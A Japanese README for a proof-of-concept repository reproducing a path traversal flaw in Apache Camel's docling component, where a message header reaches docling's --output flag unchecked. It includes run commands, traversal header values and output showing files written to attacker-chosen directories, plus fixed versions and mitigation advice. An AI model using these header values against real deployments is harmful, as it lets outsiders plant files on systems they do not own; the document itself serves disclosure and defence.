
--output にそのまま渡されるApache Camel の脆弱性を再現する実行可能な概念実証(PoC)です。DoclingProducer が CLI モード(デフォルト)で外部の docling ツールを実行する際、CamelDoclingOutputFilePath ヘッダーの値を docling の --output フラグにそのまま渡していました。正規化は行われず、絶対パスや .. セグメントを含むパスもそのまま受け入れられ、それを制限できるエンドポイントオプションも存在しませんでした。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Docling は変換結果(Markdown、HTML、JSON、またはテキスト)をそのディレクトリに書き込み、ファイル名は入力ファイルにちなんで付けられます。その後、プロデューサーは自身の一時ディレクトリのみを削除するため、ファイルはそのまま残ります。したがって、ヘッダーを設定できる主体は、Camel プロセスが書き込み可能な任意のディレクトリに変換出力を生成させることができました。
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
影響を受けるビルドでの出力(両ランタイムで同一):
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
プローブ4は問題の本質を示している。 CVE-2026-40047 の修正で追加されたカスタム引数の検証は、CamelDoclingCustomArguments において --output と -o を拒否し、呼び出し元に対して出力ディレクトリを代わりにこのヘッダーで指定するよう促している——つまり、docling がどこに書き込むかを決める唯一の値が、カスタム引数に適用されるチェックを一切受けずにコマンドラインに到達する唯一の値だったのである。
プローブ2と3の後でエクスチェンジ自体は失敗する(「その後で失敗する」)。なぜならプロデューサーは変換された出力を自身の一時ディレクトリで探すが、そこには見つからないからである。これは表面的なものである。書き込みはすでに完了しており、それが最後のファイル一覧で示されている。
docling のインストールは不要である。エンドポイントの doclingCommand オプションは、CLI の記録用スタンドインを指しており、これは渡された引数ベクトルを記録すると同時に、docling が行うのと同じように --output で指定された場所へファイルを書き込む。実際の DoclingProducer と実際の addOutputDirectoryArguments() が実行される。
このヘッダーを使用するのは CLI モードのみであり、docling-serve モードでは使用しない。
CamelDoclingOutputFilePath は Camel のヘッダー名前空間に属しており、Camel のデフォルトのヘッダーフィルタリングを適用するコンシューマー——たとえば JMS や Kafka のコンシューマー——は、受信メッセージからこれを除去する。この問題に到達するのは、ルートが外部から影響を受けた値をヘッダーに転送する場合、またはコンシューマーがそのフィルタリングなしで受信ヘッダーをマッピングする場合である。
書き込まれるファイルの内容は、メッセージが運ぶドキュメントの変換結果であるため、そのドキュメントを提供する者によって形作られるが、バイト単位でそのまま書き込まれるわけではない。ドキュメントがメッセージ本文で届く場合、プロデューサーはそれをランダムな一時名で保存し、その名前が出力ファイルに引き継がれる。
| 項目 | 値 |
|---|---|
| コンポーネント | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22 (パス名の制限されたディレクトリへの不適切な制限) |
| 深刻度 | 中 |
| 攻撃ベクトル | CamelDoclingOutputFilePath ヘッダー内の絶対パスまたは .. を含むディレクトリ |
| 影響 | Camel プロセスが書き込み可能な任意のディレクトリに変換出力が作成される |
| 影響を受けるバージョン | 4.15.0 から 4.18.5 未満、4.19.0 から 4.22.2 未満 |
| 修正バージョン | 4.18.5、4.22.2、4.23.0 |
| JIRA | CAMEL-24894 |
| クレジット | Zhixi "Jace" Sun、独立系セキュリティ研究者 |
アドバイザリ: https://camel.apache.org/security/CVE-2026-95629.html
同じコンポーネント、同じリリースウェーブにおける関連問題: CVE-2026-95628(カスタム引数の値として絶対パスが受け入れられる)。
このヘッダーは現在、resolveWithinOutputBaseDirectory() を通じて、入力パスと同じ正規化とオプションのベースディレクトリ封じ込めが適用される。しかし、修正が追加する outputBaseDirectory エンドポイントオプションはデフォルトでは未設定であり、そのドキュメント自体に、空の場合はディレクトリ制限は適用されず、ヘッダー値は正規化されるだけであると記されている。
4.22.1 → 4.22.2 に対して、outputBaseDirectory を未設定のまま検証した:
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
ドライバはこの状態を修正済みとは呼ばず、別個に報告しています。これは、アップグレード直後にほとんどのデプロイメントが陥る状態だからです。アップグレード後は、外部から影響を受けた値をヘッダーに含められるすべての docling エンドポイントで outputBaseDirectory を設定してください。
main では apache/camel#26737(48485d40)で修正され、camel-4.22.x には #27365 で、camel-4.18.x には #27362 でバックポートされました。
デプロイメントの外部に由来する値から CamelDoclingOutputFilePath を構築しないでください。外部から到着するメッセージからは、docling エンドポイントに到達する前にそのヘッダーを削除してください。また、受信ヘッダーをマッピングするコンシューマーが Camel ヘッダーの名前空間を破棄することを確認してください。
このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを検証できるようにするためです。所有または運用していないシステムに対してこの資料を使用しないでください。